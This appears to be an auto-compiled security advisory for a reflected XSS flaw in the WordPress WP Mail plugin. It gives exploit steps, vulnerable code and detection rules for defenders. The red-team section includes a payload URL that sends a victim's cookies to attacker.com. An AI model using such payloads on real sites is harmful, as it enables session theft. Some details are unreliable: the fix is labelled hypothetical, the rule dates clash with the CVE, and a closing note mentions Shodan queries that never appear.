CVE-2025-68008
Executive Summary
CVE-2025-68008 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "WP Mail" by Mndpsingh287, affecting versions up to and including 1.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or redirection to malicious sites. The CVSS score is 7.1 (High), and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched WordPress installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. Since WP Mail is distributed via the WordPress Plugin Directory, any site running version 1.3 or earlier is at risk. No official patch exists, and the vendor has not responded to disclosure. Site administrators should consider removing the plugin or applying a virtual patch via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: High (7.1) – Exploitation requires user interaction but can lead to full account compromise.
Deep Dive & Mechanics
The vulnerability exists in the WP Mail plugin's handling of the wp_mail parameter. When a user visits a specially crafted URL, the plugin reflects the input without proper sanitization or output encoding. For example, a request like:
GET /wp-content/plugins/wp-mail/wp-mail.php?wp_mail=<script>alert('XSS')</script>
Will cause the injected script to execute in the victim's browser. The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr()) before outputting the parameter value.
Root Cause: The plugin directly echoes $_GET['wp_mail'] without validation or encoding.
Attack Vector: An attacker crafts a malicious link and tricks a logged-in administrator into clicking it. The script executes in the context of the WordPress admin panel, potentially allowing privilege escalation or site takeover.
Vulnerable vs. Patched Code
Vulnerable Code (wp-mail.php, line ~45):
<?php
if (isset($_GET['wp_mail'])) {
echo $_GET['wp_mail'];
}
?>
Patched Code (hypothetical):
<?php
if (isset($_GET['wp_mail'])) {
echo esc_html($_GET['wp_mail']);
}
?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress site with WP Mail plugin <= 1.3
- Victim with admin privileges
Exploit Steps:
- Craft a malicious URL:
http://target.com/wp-content/plugins/wp-mail/wp-mail.php?wp_mail=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to an admin via email or social engineering.
- When the admin clicks, the script executes and exfiltrates cookies.
Proof-of-Concept (PoC) HTML:
<a href="http://target.com/wp-content/plugins/wp-mail/wp-mail.php?wp_mail=<script>alert('XSS')</script>">Click me</a>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/wp-content/plugins/wp-mail/wp-mail.phpwith suspicious query strings. - Look for patterns like
<script,onerror,onload, or base64-encoded payloads in thewp_mailparameter.
Mitigation:
- Remove or disable the WP Mail plugin until a patch is available.
- Implement a WAF rule to block requests containing
<scriptin thewp_mailparameter. - Use Content Security Policy (CSP) headers to restrict script execution.
Indicators of Compromise (IOCs)
- URL Pattern:
*/wp-content/plugins/wp-mail/wp-mail.php?wp_mail=* - Log Entry:
GET /wp-content/plugins/wp-mail/wp-mail.php?wp_mail=<script>... - Network Traffic: Outbound connections to unknown domains from the WordPress admin panel.
- File Changes: Unexpected modifications to
wp-mail.phpor other plugin files.
Detection Engineering
YARA Rule
rule CVE_2025_68008_WP_Mail_XSS {
meta:
description = "Detects reflected XSS attempts against WP Mail plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68008"
strings:
$xss_payload = /wp_mail=.*<script/i
$wp_mail_path = /wp-content\/plugins\/wp-mail\/wp-mail\.php/i
condition:
$wp_mail_path and $xss_payload
}
Sigma Rule
title: Reflected XSS in WP Mail Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against WP Mail plugin (CVE-2025-68008)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "wp_mail=<script"
- "wp_mail=javascript:"
- "wp_mail=onerror="
cs-uri-stem|contains: "/wp-content/plugins/wp-mail/wp-mail.php"
condition: selection
falsepositives:
- Legitimate use of the plugin with non-malicious parameters
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68008 WP Mail Reflected XSS Attempt"; flow:to_server; content:"/wp-content/plugins/wp-mail/wp-mail.php"; http_uri; content:"wp_mail="; http_uri; pcre:"/wp_mail=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete WP Mail from all WordPress installations.
- Apply virtual patch – Use a WAF to block requests containing
wp_mail=<scriptor similar patterns. - Audit logs – Check for any prior exploitation attempts.
Long-Term Fix:
- Since no official patch exists, consider migrating to an alternative mail plugin (e.g., WP Mail SMTP, Easy WP SMTP).
- If the plugin is critical, manually patch the code by adding
esc_html()around the$_GET['wp_mail']output.
Preventive Measures:
- Enforce Content Security Policy (CSP) headers.
- Regularly update all WordPress plugins and themes.
- Conduct security audits of custom or third-party plugins.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.